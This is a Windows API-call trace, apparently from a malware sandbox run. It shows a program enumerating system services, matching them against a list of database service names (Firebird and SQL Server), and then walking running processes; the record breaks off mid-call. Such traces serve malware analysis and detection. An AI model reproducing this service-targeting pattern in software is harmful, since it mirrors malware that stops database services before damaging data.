lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0208.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0208.953] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0208.953] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0208.953] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0208.953] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0208.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0208.954] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0208.954] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0208.954] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0208.954] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0208.954] lstrlenW (lpString="CDPSvc") returned 6 [0208.954] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0208.954] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0208.954] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0208.954] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0208.954] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0208.954] lstrlenW (lpString="ClickToRunSvc") returned 13 [0208.954] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0208.954] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0208.956] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0208.956] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0208.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0208.956] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0208.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0208.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0208.956] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0208.956] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0208.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0208.956] lstrlenW (lpString="CryptSvc") returned 8 [0208.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0208.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0208.956] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0208.956] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0208.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0208.956] lstrlenW (lpString="DcomLaunch") returned 10 [0208.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0208.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0208.956] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0208.956] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0208.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0208.956] lstrlenW (lpString="DeviceAssociationService") returned 24 [0208.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0208.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0208.957] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0208.957] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0208.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0208.957] lstrlenW (lpString="Dhcp") returned 4 [0208.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0208.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0208.957] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0208.957] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0208.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0208.957] lstrlenW (lpString="Dnscache") returned 8 [0208.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0208.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0208.957] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0208.957] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0208.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0208.957] lstrlenW (lpString="DPS") returned 3 [0208.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0208.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0208.957] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0208.957] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0208.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0208.957] lstrlenW (lpString="DusmSvc") returned 7 [0208.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0208.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0208.957] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0208.957] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0208.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0208.957] lstrlenW (lpString="EventLog") returned 8 [0208.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0208.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0208.957] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0208.957] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0208.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0208.958] lstrlenW (lpString="EventSystem") returned 11 [0208.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0208.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0208.958] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0208.958] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0208.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0208.958] lstrlenW (lpString="FontCache") returned 9 [0208.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0208.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0208.958] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0208.958] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0208.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0208.958] lstrlenW (lpString="gpsvc") returned 5 [0208.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0208.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0208.958] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0208.958] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0208.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0208.958] lstrlenW (lpString="iphlpsvc") returned 8 [0208.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0208.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0208.958] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0208.958] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0208.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0208.958] lstrlenW (lpString="KeyIso") returned 6 [0208.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0208.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0208.958] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0208.958] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0208.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0208.958] lstrlenW (lpString="LanmanServer") returned 12 [0208.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0208.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0208.959] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0208.959] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0208.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0208.959] lstrlenW (lpString="LanmanWorkstation") returned 17 [0208.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0208.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0208.959] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0208.959] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0208.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0208.959] lstrlenW (lpString="lfsvc") returned 5 [0208.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0208.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0208.959] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0208.959] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0208.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0208.959] lstrlenW (lpString="lmhosts") returned 7 [0208.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0208.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0208.959] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0208.959] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0208.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0208.959] lstrlenW (lpString="LSM") returned 3 [0208.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0208.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0208.959] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0208.959] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0208.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0208.959] lstrlenW (lpString="MpsSvc") returned 6 [0208.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0208.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0208.959] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0208.960] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0208.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0208.960] lstrlenW (lpString="NcbService") returned 10 [0208.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0208.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0208.960] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0208.960] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0208.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0208.960] lstrlenW (lpString="netprofm") returned 8 [0208.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0208.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0208.960] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0208.960] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0208.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0208.960] lstrlenW (lpString="NgcSvc") returned 6 [0208.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0208.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0208.960] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0208.960] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0208.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0208.960] lstrlenW (lpString="NlaSvc") returned 6 [0208.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0208.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0208.960] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0208.960] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0208.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0208.960] lstrlenW (lpString="nsi") returned 3 [0208.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0208.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0208.960] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0208.960] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0208.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0208.960] lstrlenW (lpString="PcaSvc") returned 6 [0208.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0208.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0208.961] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0208.961] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0208.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0208.961] lstrlenW (lpString="PlugPlay") returned 8 [0208.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0208.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0208.961] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0208.961] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0208.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0208.961] lstrlenW (lpString="Power") returned 5 [0208.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0208.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0208.961] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0208.961] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0208.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0208.961] lstrlenW (lpString="ProfSvc") returned 7 [0208.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0208.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0208.961] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0208.961] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0208.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0208.961] lstrlenW (lpString="RpcEptMapper") returned 12 [0208.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0208.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0208.961] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0208.961] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0208.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0208.961] lstrlenW (lpString="RpcSs") returned 5 [0208.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0208.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0208.962] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0208.962] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0208.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0208.962] lstrlenW (lpString="SamSs") returned 5 [0208.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0208.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0208.962] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0208.962] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0208.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0208.962] lstrlenW (lpString="Schedule") returned 8 [0208.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0208.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0208.962] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0208.962] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0208.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0208.962] lstrlenW (lpString="SecurityHealthService") returned 21 [0208.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0208.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0208.962] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0208.962] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0208.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0208.962] lstrlenW (lpString="SENS") returned 4 [0208.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0208.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0208.962] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0208.962] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0208.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0208.962] lstrlenW (lpString="ShellHWDetection") returned 16 [0208.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0208.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0208.962] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0208.963] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0208.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0208.963] lstrlenW (lpString="Spooler") returned 7 [0208.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0208.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0208.963] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0208.963] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0208.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0208.963] lstrlenW (lpString="SSDPSRV") returned 7 [0208.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0208.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0208.963] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0208.963] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0208.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0208.963] lstrlenW (lpString="StateRepository") returned 15 [0208.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0208.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0208.963] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0208.963] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0208.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0208.963] lstrlenW (lpString="SysMain") returned 7 [0208.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0208.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0208.963] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0208.963] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0208.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0208.963] lstrlenW (lpString="SystemEventsBroker") returned 18 [0208.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0208.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0208.963] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0208.963] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0208.964] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x623608 | out: hHeap=0x5c0000) returned 1 [0208.964] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x358 [0208.970] Process32FirstW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0209.388] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0209.390] lstrlenW (lpString="System") returned 6 [0209.391] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0209.392] lstrlenW (lpString="smss.exe") returned 8 [0209.392] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0209.393] lstrlenW (lpString="csrss.exe") returned 9 [0209.393] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0209.394] lstrlenW (lpString="wininit.exe") returned 11 [0209.394] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0209.395] lstrlenW (lpString="csrss.exe") returned 9 [0209.395] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0209.396] lstrlenW (lpString="winlogon.exe") returned 12 [0209.396] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0209.397] lstrlenW (lpString="services.exe") returned 12 [0209.397] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0209.398] lstrlenW (lpString="lsass.exe") returned 9 [0209.398] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0209.399] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0209.399] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0209.400] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0209.400] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.401] lstrlenW (lpString="svchost.exe") returned 11 [0209.401] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.402] lstrlenW (lpString="svchost.exe") returned 11 [0209.402] Process32NextW (in: hSnapshot=0x358, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0209.403] lstrlenW (lpString="dwm.exe") returned 7 [0209.403] Process32NextW (in: 